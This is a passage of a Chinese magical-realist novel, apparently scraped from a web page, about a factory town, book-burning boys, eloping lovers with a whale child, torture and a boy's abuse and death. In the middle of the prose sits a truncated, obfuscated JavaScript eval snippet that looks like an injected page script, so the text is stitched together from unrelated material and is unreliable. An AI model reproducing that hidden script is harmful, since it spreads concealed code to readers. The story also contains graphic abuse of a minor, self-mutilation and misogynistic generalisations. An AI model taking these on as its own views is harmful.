谢守仁望着男孩高高扬起的稚嫩脸庞,觉得甚是可爱。「好好,小童子军们,那你们想怎么处罚我呢?」 「少套近乎,注意态度。」 旁边的男孩帮腔道:「不要跟这些公知交谈,他们最擅长蛊惑人心了。」 谢守仁连连点头:「这话说得极对,千万不能给能言善辩者开口的机会。」 「老公知,不许讲话,这道理我们知道,无需你提醒。我们来不是讲话的,也不屑于君子动口不动手那套。」 「对,不屑于。」男孩们附和道。 「我们是来烧书的,看在你一把年纪了,就不拉你游街了。劝你乖乖听话坐着,不要妨碍我们为民除书,否则误伤了你,我们可不负责。」 「对,不负责。」 男孩们义正辞严、大义凛然。 古稀之年的谢守仁,胡须花白,眼角皱纹满布,他仔细打量着门槛里的少年们,个个虽身影瘦削,脊梁却硬如钢铁。他缓缓开口:「去吧,书房在左边门后,你们先从下面的书籍开始烧吧,高处的等我给儿子打个电话,让他借把梯子送来。放心,他就住在隔壁马路,很快的。」 男孩们听完,面面相觑,这古怪的老头属实将他们搞懵了,但十几秒后,他们便冲进书房,开始搬书。 谢守仁笑眯眯地听着他们七手八脚的忙碌,拿起冷掉的馒头,从中间掰成两半,将榨菜丝整齐铺好,严密地合上,慢悠悠地送到嘴边咬一口。男孩们热火朝天地搬书,他几口吃完馒头后,将剩余的一点冷牛豆浆搁置,起身来到门边的柜子前,取出放核桃酥的陶瓷罐子,然后站进院子里。他隐约听见书房里传来稚嫩的声音。 「好多书学校图书馆里都没见过呢。」 「快来看,有漫画唉,这老头竟然也看漫画。」 「哇,是我最爱的《孤独的剑客》,兄弟们,这本能放到最后烧么,我有点舍不得。」 「反正早晚都得烧,不过你想留到最后就留呗。」」 「这本书厉害,《枪械原理》,还有图文,咱们带回去偷偷研究吧。没准能造出真家伙来。」 众男孩压低声音纷 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「我要点燃这本书,却怎么也办不到,打火机一关,没几秒火就熄了。你看,这还有好多需要烧。」 男孩们盯着突然赶来的大人,眼神里有一丝慌乱,手里的核桃酥也纷纷放下。 谢守仁觉察到,连忙说:「别怕,接着吃,这是我儿子,来送梯子的。他是位航天燃料专家,我想眼下这道点火的难题他可以帮助咱们。」 最后在一碗豆油的帮助下,书籍顺利被点燃。 腰背佝偻的谢守仁站在跳跃的火苗旁,眼神温情脉脉,仿佛在与一群老朋友惜别。 男孩们放下陶瓷罐,陆续转身回书房搬书,而有三两个却迟迟没有动身。随着时间的推移,书籍越搬越少,站在书火堆旁的男孩却越来越多。 明知烧书是偏激的、狭隘的、暴力的,为什么选择纵容而不尝试教育,引导他们走正途呢? 谢守仁是如此对男孩们讲的:「一个彻底的错误,才会引发真正的觉醒。生活里有无数『好险,差点就……』的时刻,而你们仔细回忆,这样的时刻你们能想起多少,都很模糊了。反倒是那些确切发生了的错误,例如弹弓打碎玻璃、爬高摔断腿和胳膊、被热水烫伤皮肤,这些实际的后果,估计你们每人都能讲出一两件。 「当你们刚出现在我面前时,那懵懂倔强的状态,我一眼便看出,这是你们第一次发起斗争。我钦佩你们的勇气,也清楚自己并不具备体能层面的力量,与你们对抗。是的,我缴械投降了,善良的你们没有伤害我,而且除去与公知相关言辞以外,你们其余言语都是尊重我的,这令我非常欣赏你们,这说明你们爱憎分明,未来国家需要你们这样的年轻人。当然你们仍需要成长。而我今天想教给你们的就是:凡事一定要保持清醒的独立的思考。近几年的社会言论中,的确出现了一批盲目鼓吹别国文化的所谓公知,但公知只是知识分子中的极少数人,我们也对其深恶痛绝。你们来找我之前有了解过我不?做过调查不?那警察抓犯人还讲究证据,把我判成公知的证据你们能拿出来不?我可以很负责任地告诉你们,你们是找不到的,因为我从不上新闻节目发表言论,所出的书也都是古诗词译文或诗词编年史之类。娃娃们,讲到这里,我想你们还是并不能完全懂,而这也是我为什么要帮助你们完成烧书。正因为不完全懂,所以如若我只是坐着这里滔滔不绝地讲,拦下你们这一次,那明天你们极有可能会跑去另一个公知家里头去讨伐。烧书,这个思想节点如果没能实现,你们当中一定会有人辗转反侧、卷土重来。而趁现在,这思想节点还只是烧我谢某人的书,不是抓他人游行、伤及无辜性命,烧自家书是我所能控制的,那就让它发生吧。 「如今得知我并非所谓卖国公知,真相大白,本该欢声笑语的时刻为何你们和我都愉快不起来呢,因为我们都知道门外那一摊厚厚的灰烬,再已变不回书籍了。 「所以必须烧书,这书只有这次烧了,你们往后才不至于有更大的后悔发生。」 属于吕文生的更大的后悔正在发生,且几乎夜夜要了他的命。 而属于我的更大的后悔在不久后,也将要发生。 而这还都是后事。眼下最让我和古秀梅头疼的是儿子自从改名换脸后,追求他的女生前仆后继。据不完全统计,在短短的半年期间,他大概与十九个女生确立过真挚的爱情,并让其中的九个怀孕。一时间我们逼仄的分配房里被塞满了孩子。古秀梅忙于她的政治事业,而我独自照顾九个孙子们。后来随着年纪渐长,陆续从十四岁开始他们相继离开家,最后只剩最小的龙去病,因为双腿先天软糯无力、无法行走,留在我和古秀梅身边。那时,爱子有饭已经过世十三年。 后来我时常独自坐在屋顶,回想起有饭跳起来要改名字的那个晚上。如果我不是个开明的父亲就好了,我真该给他一巴掌,然后他也不甘示弱给我一巴掌,两人打到进医院,然后再不提改名字的事情。 8. 黑熊 吴侑珍变成了美人鱼。 私奔一年后,安化厂庆典的前几天,李老师回来了。 他变得瘦削、干瘪,一双凹陷的灰色眼睛,毫无生机,仿佛志怪小说里被榨干了精气的贪吃男人。 厂区里众人正忙活着挂横幅,只见他肩上背着一条粗麻绳,麻绳另一头绑着一块两米见方的木板。板上捆着那台永久熄火的摩托车,还有一口陶土大缸。 「快看,那好像是李老师……」 「哎呀,真是李老师。」 私奔是一时兴起,凭借的是汹涌真挚的爱意,没有任何规划。可是,自由的爱情在这个处处管制的社会,并不容易。上高速要通行证、出城要通行证、住宾馆要开证明、买夫妻用品更需要证明。 可彼时如同两团火焰的吴侑珍和李老师,毫不顾忌这些,他们背着盛满钱的背包,紧紧依偎在驰骋的摩托车上,他们怀抱着美好的愿景,三千八百万平方公里的土地,总会有容身之处的。 清晨,他们在山顶醒来,望着橘红色的太阳,互相诉说愈发深沉的爱意,他为她编织长发,哪怕没有任何人需要去见,他们依然不忘保持美丽和体面,随着太阳爬高,他们决定一路向东,吴侑珍靠在李老师宽阔的背上,描述着对大海的盼望和期待,「到时候,我们找一个没人认识的小渔村,你捕鱼我织网,日出而作,日落而息,我还要给你生好多孩子,你喜欢女孩还是男孩?」傍晚时分,李老师将车开进私人集市,采买食物和水,每周他都会送吴侑珍一个定情礼物,有时是花裙子,有时是雪花膏,他们在幽静的芦苇丛里放肆地呼喊,除了月亮和小鱼,再没有什么能打扰这欢愉。 「阿珍,你愿意做我的妻子吗?」 「我愿意。」 摩托车奔驰了八十一天,那是一个霞光满天的傍晚,李老师停下摩托车,熄火。世界瞬间如同死亡般寂静,而寂静的深处,一个沉闷的犹如塞壬吟唱的声音,从脚底隐隐传来。 是汹涌的波涛,是暴力的击打,是自这个星球诞生起便存在的,那日复一日的悲鸣。 吴侑珍激动得泪盈满眶。 「小李,你听到了吗,是……大海……」 她蹬掉高跟鞋,赤脚跳跃在石头上,如同与母亲走失多年的觉醒血脉的孩子,向自己灵魂的生母奔去。 小李望着她欢喜的样子,瞬间觉得更加自卑。她是如此的纯粹、原始、天真,她身体里还残留着远古的召唤,而他虽自诩理想主义,却无形中被社会规制所荼毒,满心满眼都是权衡利弊。 他暗暗发誓,从今往后,要更加倍地爱吴侑珍,无论什么都不能将两人分离。 巍峨的崖边,吴侑珍生来第一次感受到了海风,潮湿、混着鱼腥、粘稠、钻入皮肤的每一处毛孔。她吮吸得忘乎所以。她从未觉得自己像此刻般自由、干净、丰盈。她感到自己正在接受一场神圣的受洗,仿佛初生的婴儿,被给予最纯洁的祝福。 七个月后,吴侑珍在李老师亲手搭建的海边棚屋里生下了两人爱情的结晶。 确切地说,是一条鲸鱼。 两人仅仅花了五秒钟,揉了揉眼睛确定不是梦境后,便接受了这个事实。 「看来,之前准备的衣服要重新做了。」 「只是不能确定是男是女。」 「好在名字不影响,要改吗?」 「不改,就叫海婴,无论它是人是鱼,都是我俩的孩子,也都是大海的孩子。」 海婴以几乎分秒的速度飞速长大。李老师正裁剪完新衣服布料,比身一量,短了整整一尺。吴侑珍本想给它织顶虎头帽,却越织越小。三天后,海婴已经长得和李老师一般身长。两人最终决定放弃这些人类的形式主义的爱,转而带着海婴奔进了大海里。 海婴欢快地发出叫声。 李老师和吴侑珍都听懂了,那是属于鲸鱼的「爸爸」「妈妈」的语言。 三人在水中畅游嬉戏,海婴一会吐泡泡将爸爸妈妈圈起来,一会把两人驮出海面,仿佛在飞,偶尔它也调皮,帮着妈妈向爸爸的身上甩水,或是和爸爸一起突然从妈妈的身后出现,轻轻亲吻她。海婴很聪明,它用与生俱来的捕食天赋,带回金枪鱼给爸爸妈妈。爸爸妈妈也会买甜甜的汽水喂给它喝。 如果卖汽水的老板没有为了一万块的赏钱而联系陈传富,这种美妙幸福的生活或许可以一直延续到海婴成年离开。 陈传富并不知晓海婴的存在,他憎恨吴侑珍二人。从前有多贪恋,如今便有多恨。人尽皆知吴侑珍是他的情妇,她的私奔,害他在人前丢尽了脸面。对于一个颇有权力的人来说,脸面甚至比他的良心和尊严都重要成千上万倍。 很快,一卡车一卡车的地痞流氓被运往海边的棚屋。 李老师为保护吴侑珍,拼力堵住房门。「海婴,带你妈妈去海里,记住不可以让任何人类伤害她。」 吴侑珍并不愿走,但彼时的海婴已经身长五米,它的力量并不是她能抗衡。 木板门被砍破,数十人提着斧头涌进来,李老师全力对抗,却毫无用处,最终被骨肉模糊地用麻绳束在梁上,他视线模糊地望着大海的方向,眼睛悲痛得就要流着血来。 「快逃,快逃……」 恶人们又蜂拥向海边跑去,他们有的从卡车上拖出快艇,有的则赤膊跃入海中。 只要有足够丰厚的赏金与好处,掌权者想拿走一个人的性命,简直易如反掌。他甚至无需自己出力气,自有亡命之徒代劳。 一时间,深夜的大海灯火通明。恶人们架起猎枪。 吴侑珍看到枪筒的那一刻,纵身从海婴后背跃下。 「海婴,往深海里游,从今以后别靠近岸边。」 吴侑珍并不是一个勇敢的女将军式的人物,她风情且愚钝,只是个普通的想保护自己孩子的母亲。她很清楚,当决定私奔的那一刻,自己就不会善终,可是上天偏爱她,给了她一个真挚的爱人,和独一无二的孩子。这已经是最好的结束了。 她跳进大海,打算坦然地迎接属于自己的折磨或者死亡,如果可以,她希望会是死亡。 海婴很聪明,它发出求救的讯号,很快,成群结队的鲸鱼从遥远处游来。它们在海岸线外十海里的地方,排成长队,然后在统一的号令下将尾巴拍向海面,滔天的海浪瞬间拔地而起,向岸边涌来,前仆后继。 恶人们被甩向天空,又重重砸向锋利的礁石,快艇也都被拍得粉碎。 待海面归于平静时,棚屋里,木板床上,原本血肉模糊的李老师睁开眼睛,他的伤口出乎意料地愈合大半。出现在他眼前的是一条一米余长的鱼尾,五彩斑斓,流光熠熠。 「侑珍?是你么?」 鱼尾之上的女人缓缓回过头来:「是我,小李。」 「这是怎么回事?你有没有受伤?」 「我没受伤,海婴把我保护得很好,我让它跟同伴们离开了。」 小李撑着胳膊坐起来。「让我抱抱你吧,我原以为自己要离开你了。再见到你,真好。」 吴侑珍靠在李老师怀里:「我们回去吧,海婴为了保护我不被海啸伤害,请鲸鱼族群的首领将我变成半身鱼,它说,如果我想变回人,只能请林大哥帮忙。」 「林复生?」 「是他。」 「好,我这就去准备。」李老师从不质疑吴侑珍,也从不拖延她的需求。这赢过了百分之九十的男性。 彼时的我正忙于照看九个孙子。他们每一个都有着超乎寻常的旺盛精力,这使得我完全腾不出空闲来和古秀梅过二人世界。老庄媳妇卖红薯之余,常常帮我带龙大龙二,这两个孩子最是能蹦能跳,有次我去接两孩子回来,只见老庄媳妇将他们各自放在一个大木桶里,两人此起彼伏的跳跃,发出咯咯哒的欢笑声。老庄媳妇则在一旁笑眯眯地洗红薯。 她说:「这俩孩子真棒,我在桶底放了炒熟的花生和芝麻,然后铺上塑料膜,两人蹦蹦跳跳着就帮我踩成了花生芝麻碎,回头加点盐和辣椒粉,卖了钱我要给他俩发工钱的。」说完,她转头望向桶里的龙大龙二,「发工钱咱们给宝宝买糖,好不好呀?」龙大龙二笑得更开心了。 这件事儿给了我启发,于是我回家便开始着手制作动能发电装置,我在阳台划了四平米出来,又去废品站捡了八个木桶,桶底做踏板,踏板连接发电机。就在竣工前夕,龙震天忽然仿佛变了个人般,将自己锁在房间里,三天不出。 这小子素来没心没肺,睡了姑娘也毫无责任心可言,却突然闭门不出,只言不发。我架起一根烟,猜想不出会是怎样的变故。 龙震天的美貌是雌雄莫辨的,有多少女人喜欢他,也就有多少男人喜欢他。除了孩子,我们家门口每天都会有一麻袋倾诉衷肠的情书,半年里,连邮递员的自行车都压坏了两辆。除了情书,还有各式各样的礼物,正常的有巧克力、奶糖、钱包、钢笔,不正常的有:头发、穿过的袜子、牙齿、空气。正常的都透露着实用性,不正常的则是病态的浪漫。 「这是我的味道,你喜欢吗?」 「可以回送我一颗你的乳牙吗?想把它镶进我嘴里。」 古秀梅的评价犀利而到位:「神经!」 我五体投地地表示赞同。 自古以来,美貌似乎都不是一个绝对好的形容词,其背后往往伴随着:嫉妒、占有、强制、扭曲、灾祸。 一次平常的随堂跳高体测,被爱意扭曲的姑娘故意在龙震天起跳后,将栏杆抬高,震天重重摔倒在地,手臂和大腿的皮肤瞬间撕裂大片,鲜血汩汩渗出。 女孩和同伴为表达歉意,如愿被指派送震天去安化诊所。 一路上,女孩们芳心波动,热情地帮美少年拂去皮肤上的灰尘,手指触碰的瞬间,情窦初开的女孩脸红心跳。 龙震天出于本能,伸手扶了当中最漂亮的那个。 四目相对之时,两人甚至约好了放学后的去处,为我即将到来的第十个孙子做些必要的准备工作。 其他的女孩则瞬间由脸红变为妒忌。她们在眼神里将那姑娘千刀万剐了一遍又一遍。 无论年纪,女人的心里都有一条「男人无罪」的法律准则,分明是由男人而起的争端,她们却往往忽略男人、甚至维护男人,而与同样无辜的女人对立、争斗、彼此伤害。 古秀梅的评价依旧犀利而到位:下贱! 只有像我这样充满阅历与智慧的人,才懂得古秀梅的好。她不需要华美的服饰和姣好的容颜,她不会搔首弄姿,也不会伏低做小,她脱离了男性思维里的女性框架,她有坚定的理想、果敢的性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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「不,林大哥,是你让我和侑珍真正活了这辈子,我们都感谢你。你放心,不会有人知道这件事。」 「你去城北的土地庙,找黑熊,他是陈传富的小舅子,会帮你。」 陈传富在婚后两年,妻子黑豹生下一女后,他便得了无精症,再也无法生育,这是安化厂人尽皆知的秘密。 陈传富散尽家财、寻遍良医,藏地的冬虫夏草、新疆的天山雪莲、苗谷的蜘蛛、蜈蚣、毒蛇,凡是药方,有毒的没毒的他都吃过,外国人电击那套、生物浸泡、甚至密法里的生食,他也都试了。终是无果。 久病的陈传富,逐渐扭曲,每每女儿读书不在家时,他便将黑豹送进地下室,单挑衣服遮蔽的皮肤。 而当女儿放假回家,他又扮演起慈父贤夫的角色,主动做饭,帮女儿和妻子精心挑选礼物。 黑豹为什么不反抗? 我不得而知。 我只能看到人们所做所说的,并不能知道人们所想。 如此生活了七年后,黑豹因意外坠楼,死在了新世纪前的除夕夜。 真的有黑暗到不见一丝光明的人生吗? 当然有。而且很多。 那些黑暗的深层源头和心理要素,就如同变态连环杀人魔的内心一样,不可探索,不可究竟。这也就是世界为什么需要心理学家和犯罪学家。知晓了黑暗与杀戮的原因和心理活动,才能通过教化,扼制这种黑暗和杀戮。 是的,需要接受教化的不止加害者,受害者同样需要。 不同的是,加害者要学会善良和控制恶性,受害者要学习反抗和勇气。 黑熊也并不知晓姐姐经历了什么。但他凭借血缘的关联,确切感应到姐姐的死亡并非偶然。他曾是政法大学最年轻的教授,留学鹰国,天之骄子,如今隐居在破败的土地庙里,一边埋头做学术研究,一边积累证据。后来他成了新的家庭立法的推动者之一,并促成了废除家暴法案的通过。 是的,黑豹坠楼五十年之后,家暴罪这个家庭社会的产物被抹去,而只保有以个人为主体的故意伤害罪。 我仍记得那天的决议大会里,有古秀梅一票。为此,白发斑驳的我俩特地到供销店买了一瓶葡萄酒,俩人畅快地一饮而尽。 古秀梅说:「这世界总会光明的,或许对某个个体而言,它迟到了,但对于后世的千千万万人而言,它不会缺席。」 而我没有告诉古秀梅的是,光明是一时的。历史上,家暴的词汇可谓是在律法词典里七进七出,如同日夜的必然交替般,光明与黑暗总是纠缠不清、反复更迭的。 李老师带着吴侑珍叩响了土地庙的大门。 开门的正是穿青衣长衫的黑熊,他剃光头,五官温和,鼻梁架一副褪色的金丝眼镜,镜腿缠着棉布条。他右手开门,左手还攥着大部头书。这与李老师想象中粗狂的壮汉模样大相径庭。 李老师当即跪下:「我们被陈传富追杀,请暂时收留我们。」 黑熊打量一番:「明白了,进来吧。」 与聪明人说话做事,总是简洁许多。他会自行整理零碎的线索,传闻的、看到的、推理的。然后你只需开口说出需求,能不能应,他即刻判断。 9. 有饭 等待月圆期间,龙震天先是闭门不出,而后连饭菜也送不进去。自从他盐风暴变身,我便看不到他的将来了。这是我亿万年来第一次体验到未知。 八个孙子们在阳台未竣工的发电木桶装置里又蹦又笑。我抱着残缺的小九坐在昏暗的客厅里,焦急得不知如何是好。 这是我第一次当父亲,很显然我并不合格,甚至很糟。 当我意识到自己变得犹豫和扭捏时,无所事事的小九抬手给了我一巴掌,我错愕地低头看他。 他葡萄一般的紫色眼睛里,仿佛在说:「爷爷,我爸死了。」 我吓得将他扔在沙发上,站定两秒后,转身去阳台抄起斧头,劈开了次卧房门。 一副现世的马拉之死的画卷,赫然浮现眼前。 我美丽的孩子,胴体散发金光,赤裸着挂在床边,他左手耷拉在地板上,右手握着剪刀。雪白的被子浸满殷红的鲜血,盖在他的小腹与大腿间,我几乎无法站立,连呼吸都停止。 我曾经历了一百六十九位母亲的死亡,此刻,我竟从未有过的悲恸。我没有眼泪,心里却早已翻涌成江河。 许绣蓝来给孙儿们送新做的爆青稞,自从雷雷过世后,她一直想申请立案调查雷雷的死因,跑遍了全市派出所,所有警察的答复都极为一致,案件已经结为意外,而且尸体已经火化,没有非自然死亡的新证据,不符合立案条件。许绣蓝没有放弃,这许多年,她努力工作和生活,每逢攒够一笔钱,立马去通关处打报告、批车票,本市不行,她就去其他市县报案,和王小小结婚后,她变得乐观外向许多,反倒是王小小,自从那晚目睹雷雷被煮熟之后,便不大爱出门走动了。许绣蓝代替王小小成了我家常客,她和古秀梅非常要好。 她看到躺在血床上的龙震天,远比我要镇定得多,拨电话,给古秀梅、给医院。她既没有腿软,也没发抖。 我吐了,吐得彻彻底底。 天神赋予我永生的权利,又指给我记录的使命,在人间游走亿万年的我曾拥有过许多深刻的情绪时刻,愤怒、憎恶、悲哀、唏嘘、厌倦、怨恨、欢愉、喜悦、感动、温馨、舒畅、恬淡、悠然,这是唯一一次,致命的悲恸。年迈的母亲被投入炉膛、不肯妥协的挚友被撬开膝盖、相依为命的黄狗剥皮成桌上餐,我都冷静地接受了,我原以为自己早已修炼成铁石心肠,可此刻,面对年仅十三岁的有饭,苍白地躺在鲜红的血窝里,我感到身体摇晃不已。 而在医生和古秀梅同时赶来,掀开被子的那一刻。 我晕厥过去。 我美丽的孩子,他亲手绞下来自己的生殖器,并将它剪得粉碎。 那得是怎样的剧痛和决心,我们竟毫无所知。 强悍如古秀梅也晕厥过去。 女孩们送龙震天去到诊所。 是庄念秋和富春江当值。 一进门龙震天便被庄念秋温柔的气质吸引,她素面简单,举手投足都是书卷气,她轻声喊龙震天坐下,并给他包扎手臂,女孩们在旁七嘴八舌地叮嘱:「轻点轻点,别弄疼了他。」「要好好包,若是留疤了要你好看!」 此时,当值的富春江从外经过,震慑道:「这是诊所,不许吵闹。一帮毛头小孩还教育起医生来了,再吵就出去。」 女孩们却更来了劲头:「有男医生,不要这女人了,快,快给我们换。」 龙震天出声道:「都出去,不然我生气了。」 毫无威慑力的一次发言。 女孩们愈发吵闹起来,她们的喜欢已然变质:「死女人,还不快松开手,都说了要男医生。」 考虑到诊所的其他患者,庄念秋起身离开。龙震天眼神不舍地追随而去。 富春江迈进诊室,他流利地包扎后耐心说道:「伤口里进了铁屑,要打破伤风,打完要留在这观察两个小时。」 并没有病理常识的孩子们都信以为真。 说着,他带龙震天去往走廊尽头的另一个房间,从药柜里取出针剂,为他打下去。期间,他以即将放学为由,让女孩们回去拿书包,并带些吃的来为昏睡的少年补充营养,将她们打发走了。 不知是药效还是怎的,龙震天开始犯困。 他隐隐地感到自己跌进了一团粘稠的梦里,那梦极尽色彩炫目,犹如一张大口,紧紧地含着他,不得动弹。牙齿和舌头以玩弄他取乐,一会儿咬得他发疼,一会儿缠绵地舔舐他。他感到自己正渐渐升温,接近沸腾,一股既羞耻又恶心的电流,兴奋地游走在血液里。他竭力地冷静,却无可避免地□□了,除了抵抗地接受着,他什么都做不了。 他感到自己正在变得肮脏,一种永远无法洗净的肮脏。 恍惚间,他听见庄念秋的声音:「你在吗?」 她在敲门,她在找谁? 「富医生,你在吗?」 可恶,自己的梦里,她竟然在找富医生。 「你在吗?」 他感到身体的主动权正一点点回归,手指可以转动,眼皮也慢慢有了力量,如同从前的无数次噩梦一样。自从上学开始,他整夜噩梦不断,梦里全是堆满山的作业习题,几乎将他活活压死,可他除了接受和躺着什么都做不了。 他第一次主动想起父亲,一个古怪又可爱的中年男人,他不像普遍男性那般暴躁、低俗、自以为是,他永远天马行空、保持温顺,像一只猫。他从未与人起过冲突,他的温顺便是他最强大的武器。生平第一次,龙震天感到恐惧,他恢复到可以支配身体的程度了,他清晰地听到庄念秋渐渐走远的脚步声,他也切实地感受到了自己正在被迫经历着什么。他第一次感到几近绝望的恐惧,他不敢睁开眼睛,他不知道该如何推开那张粘稠的口,他为自己的呼吸和沸腾感到耻辱,他想呼救,向父亲呼救,可他即使重新清醒,却依然失去声音。 「爸爸,救我。」 他在脑海中呼救。 「爸爸……救我……」 是毫无意义的呼救。 窗外宛如死神镰刀的峨眉月,银色,铮亮,仿佛刚刚被打磨过一样。每月的初三四,这把死神之刀都会如期悬挂在所有人类的头顶,有时带走一个人,有时带走一群人。而今夜,它只带走了一枚少年的灵魂。 没有遗书,没有先兆。 而我和古秀梅只花了一个晚上,便看似坦然地接受了这件事情。我和她心知肚明,这背后一定有凶手,但眼下生活还要继续,九个孙子正是容易饿肚子的时候,容不得我们多半点悲伤。 熬米汤、煮鸡蛋、换尿布、喂食、刷牙、洗澡、哄睡、换洗衣服,每一份工作都要重复九遍。 这天,我四十岁,古秀梅三十九岁,我俩都长出了这辈子的第一根白发。 古秀梅依然乐观,她一边抱着小七喂米汤,一边笑盈盈地说道:「本来没打算和你白头到老的,如今看来是逃不掉了。」 我帮小五换着尿布:「嗨,谁说不是呢,以后该叫我老头子了,知道不,老太婆。」 吴侑珍变成美人鱼,躲进土地庙的事情很快被陈传富知道。陈传富肥眼一转,当即决定要把吴侑珍抢回来,这次不是为复仇,而是打算把这珍稀的礼物,送给省里的厅长袁大头做打点,为半年后的换届晋升铺路。 显然,面子在平步青云面前,一文不值。 来到土地庙前,陈传富并未动武,而是采用怀柔战术:「阿珍,你想想咱们的老母亲,当年我俩认识时老母亲病重在床,是我陈某动用关系和人脉,不惜一切给咱妈续命,暂不论别墅和那些营养品,单说那机关干部才能住的豪华看护病房,一天就得大几千,抵得上安化厂长的个把月工资。你跟那小白脸跑,我最初是恨得牙痒的,但如今我也想明白了,我是真的离不开你,看在我曾经如此掏心掏肺照料咱妈的份上,我恳求你出来见见我,只给我一天时间就好,我就只想和你再说说话吃个饭。阿珍,你不知道,你走之后,我真的活得好痛苦。」 土地庙里,鱼缸里的吴侑珍听到母亲二字时,渐渐松懈了抵抗状态。 小李和黑熊都劝她不要相信陈传富。「像他这般的人是没有良心和底线的,你一旦走出这个门,无异于将自己的生死寄托于陈传富的良心,而那是最变幻莫测的东西,甚至是毫不存在的。」 吴侑珍说:「可是我需要对得起自己的良心,不可否认的事实便是,至少在我俩的关系中,确实是我亏欠他的,我得去偿还。」 黑熊摇摇头:「你们女人总是如此自取灭亡。人类诞生之初,造物主明明赋予了你们更多样的能力和更顽强的身体,你们本可以维持母系社会,一直站在上位者的高度,却自己发展出了同情心和情感依赖这样自甘堕落的东西,心疼男人的自卑和付出,于是拱手让出高位,依赖男人的甜言蜜语和□□,于是甘愿臣服委身。而男人们呢,对一切嗟来之食享受得心安理得,甚至觉得这是女人们天然亏欠他们的。可是,你需要明白的是,当初他做那些事情,是因为他从你身上获得了□□的欢愉,所以他所做一切并不高尚,该偿还的你早已等价尽数给了,你根本不亏欠他什么。在有一点上,你们女人真的应该学学男人,心安理得地接受所有利己的好处,而不是总想着亏欠和偿还。不然迟早都会沦为男人玩弄的棋子。」说到这,黑熊哀其不幸怒其不争地转身回了厢房。 李老师则站在原地,只问了一句:「侑珍,你想好了吗?」 吴侑珍化成人身鱼尾的形态,依偎在他怀里:「嗯,小李,你愿意等我一天吗?」 李老师轻轻亲吻她额头:「无论多久,我都愿意。」 眼见土地庙门缓缓打开,陈传富的眼睛瞬间兴奋得发亮 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袁大头年有五十二,一只耳微聋,半条腿入土。他并不作为主线人物,所以我们尽量简短地聊一下他的过往,他祖上是后阉人,不是皇宫里的太监,而是一次□□被玩嗨的妓女咬爆了。男人嘛,失去了那条命根子后,思想上总是会变态些。而众所周知,变态在男性基因里是会遗传的,且绝无被修正的可能。 与他的祖先殊途同归的是,袁大头在几年前被查出了□□癌,切除后,整个人愈发乖戾残暴。他原有一妻两子,如今离婚,妻儿三人都在国外定居,而实际上这也不过是他转移贪污资产的障眼法,离婚只是表面形式,他与妻子暗地的利益关系根深蒂固,远不是一句感情破裂就可以瓦解的。 值得一提的是,他的大儿子是椰子大学基础物理硕士,二儿子是米汤奢侈品牌设计师。其妻子也一直在国外从事针对儿童和妇女的公益援助活动,包括他自己也一直非常关注基础教育的强化,在任期间更是实现了乡村小学的全面信息化和教师福利待遇的越级提升。如果从新闻上看来,他们一家都是名副其实的好人。 庄园负二层。 吴侑珍被囚禁在巨大的透明玻璃缸里,赤身裸体,每日每日供络绎不绝的官员和资本家们观赏、戏弄、把玩、取乐。 袁大头找人打造了一条华丽无比的水晶锁链,绑在她的脖颈,像拴狗一样,将她控制在玻璃水缸中。他们时常忽然抽紧锁链,水晶石的棱角瞬间扎进吴侑珍的皮肤,她疼得不停扭曲身体,他们却仿佛看马戏团表演那般哈哈大笑。有时,他还会饿着吴侑珍,直到她饥不择食,他们将带有食物的鱼钩投下,然后打赌想活命的吴侑珍会先咬谁的钩。每当情人们娇嗔着发出好奇时,他会用铁钳拔下吴侑珍的鳞片,一片接一片,看着她鲜血直流痛不欲生,他们却笑得愈发大声。 日日夜夜,不见天光。 吴侑珍昏迷过无数次,每一次,濒死的走马灯在眼前流转,出生在破旧的鱼铺档口里,父亲因意外撞见杀人案件报警,却被错判蒙冤早亡,母亲背负骂名和恶意独自抚养,直到十岁父亲昭雪,才得以进入学校,因在同班生中年龄最大,成绩差且发育早,许多双手仗着老师的不管不问而伸来霸凌,勉强读完中专,和母亲辗转来到陌生的安化厂,母亲进厂做工,她则凭借中专的护理学习进入小诊所实习,彼时她已经二十岁,没有爱情也从不奢望。她时时刻刻生活在担心被排挤和霸凌的恐惧中,于是总嬉笑待人,既不与任何人起冲突也不亲近。没有朋友没有爱人。直到母亲病重,陈传富出现,然后小李和海婴。 「小李和海婴,我的爱人和孩子,他们还在等我团聚。」 吴侑珍回忆起离开土地庙时,小李说的:「无论多久,我都愿意。」她回忆起海边小屋的日子,海婴总是可爱而活泼地追着她喊:「妈妈……妈妈……」 正如黑熊所说,造物主其实赋予了女人更顽强的身体。 千千万万次,吴侑珍从奈何桥边游了回来。 眼看月圆之期已过,小李又来叩响我家房门,这次他是来找古秀梅的。 「古主任,侑珍已经被带走三天,我深知这时候来打扰并不合适,但是我感应到她正身处痛苦,实不相瞒,我们已经有了一个孩子,它叫海婴,是一头鲸鱼,我担心如果拖延下去,海婴感知到侑珍有危险,会做出什么可怕的事情来,所以请你务必帮帮我们。」 还没等古秀梅回答,他泪流满面道:「我们只是想过最平常的生活而已,怎么会……怎么会这样啊……」 古秀梅将怀里的小四小六放进木桶里,转身给小李沏了杯热茶。她没有犹豫:「别担心,这事我帮。」 几乎是同时,窗外传来救护车的鸣笛声,急促地从街口穿过。 几秒后庄嫂抱着老大老二,急匆匆地推门进来:「你们听说了吗?诊所的富春江得了离奇的怪病,刚送去市医院了。」 10. 小小 我明知故问道:「什么怪病?」 「他呀……」庄嫂脸上露出几分难为情,随后压低声音道,「嘴巴里长出个那玩意儿,就男人的……那东西。」 「啥?!」这话给古秀梅惊得大叫一声,「怎么会平白无故长这么个腌臜东西在嘴里?」 庄嫂逐渐放开声音:「昨天清早发现的,小秋回来和我讲的,老大一条,撑得连喝水吃饭的缝儿都没有,本以为割掉就能好,没出半分钟又长出来,怎么都割不完,最后手术盘子里摞了十几条,小秋医学校没教过这病,给老师们通电话,几十个老教授都听傻了,这不刚联系市医院,给送了去。」说着,她又突然压低声音道,「依我看哪,八成是邪祟。」 我则淡淡地埋头造着未完工的发电装置,接话道:「也或许是做了什么不可饶恕的事情,被报应了吧。」 